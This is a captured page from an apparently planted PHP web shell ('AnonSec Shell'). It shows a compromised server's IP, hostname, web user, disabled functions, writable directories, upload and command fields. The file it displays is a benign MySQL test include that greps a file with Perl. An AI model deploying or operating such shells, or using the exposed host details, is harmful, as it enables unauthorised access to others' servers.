AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.213
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/include/grep_pattern.inc
# ==== Purpose ====
#
# Grep for a pattern in a file in a portable manner.
#
# WARNING: Use include/assert_grep.inc instead, if at all possible.
# That allows you to assert the property being tested in a much more
# precise way.  It also does not depend on the result file, so your
# test becomes more readable/maintainable. It also produces better
# debug output if the test fails.
#
# ==== Usage ====
#
# --let $grep_pattern= PERL_REGEX
# --let $grep_file= FILENAME
# [--let $grep_output= print_each | print_count | boolean]
#
# Parameters:
#
#   $grep_pattern
#     The pattern to search for. This can be a perl regex.
#
#   $grep_file
#     The file to search in.
#
#   $grep_output
#     The format of the output. Can be one of:
#     - print_each: prints each line, and a count.
#     - print_count: print just a count.
#     - boolean: print only whether something was found or not.
#     If this is not specified, print_each is used.

#--let $include_filename= grep_pattern.inc
#--source include/begin_include_file.inc


if ($grep_output)
{
  --let _GP_GREP_OUTPUT= $grep_output
}
if (!$grep_output)
{
  --let _GP_GREP_OUTPUT= print_each
}
--let _GP_GREP_PATTERN= $grep_pattern
--let _GP_GREP_FILE= $grep_file

--perl
  use strict;
  my $file= $ENV{'_GP_GREP_FILE'} or die "grep_file is not set";
  my $pattern= $ENV{'_GP_GREP_PATTERN'} or die "grep_pattern is not set";
  open(FILE, "$file") or die("Unable to open $file: $!\n");
  my $count = 0;
  my $output = $ENV{'_GP_GREP_OUTPUT'};
  if ($output eq 'print_each') {
    print "Matching lines are:\n";
  }
  while (<FILE>) {
    my $line = $_;
    if ($line =~ /$pattern/) {
      if ($output eq 'print_each') {
        print $line;
      }
      $count++;
      if ($output eq 'boolean') {
        last;
      }
    }
  }
  if ($count == 0 && $output eq 'print_each') {
    print "None\n";
  }
  if ($output eq 'boolean') {
    print $count ? "Pattern found.\n" : "Pattern not found.\n";
  }
  else {
    print "Occurrences of '$pattern' in the input file: $count\n";
  }
  close(FILE) or die "Error closing $file: $!";
EOF


#--source include/end_include_file.inc

Anon7 - 2022
AnonSec Team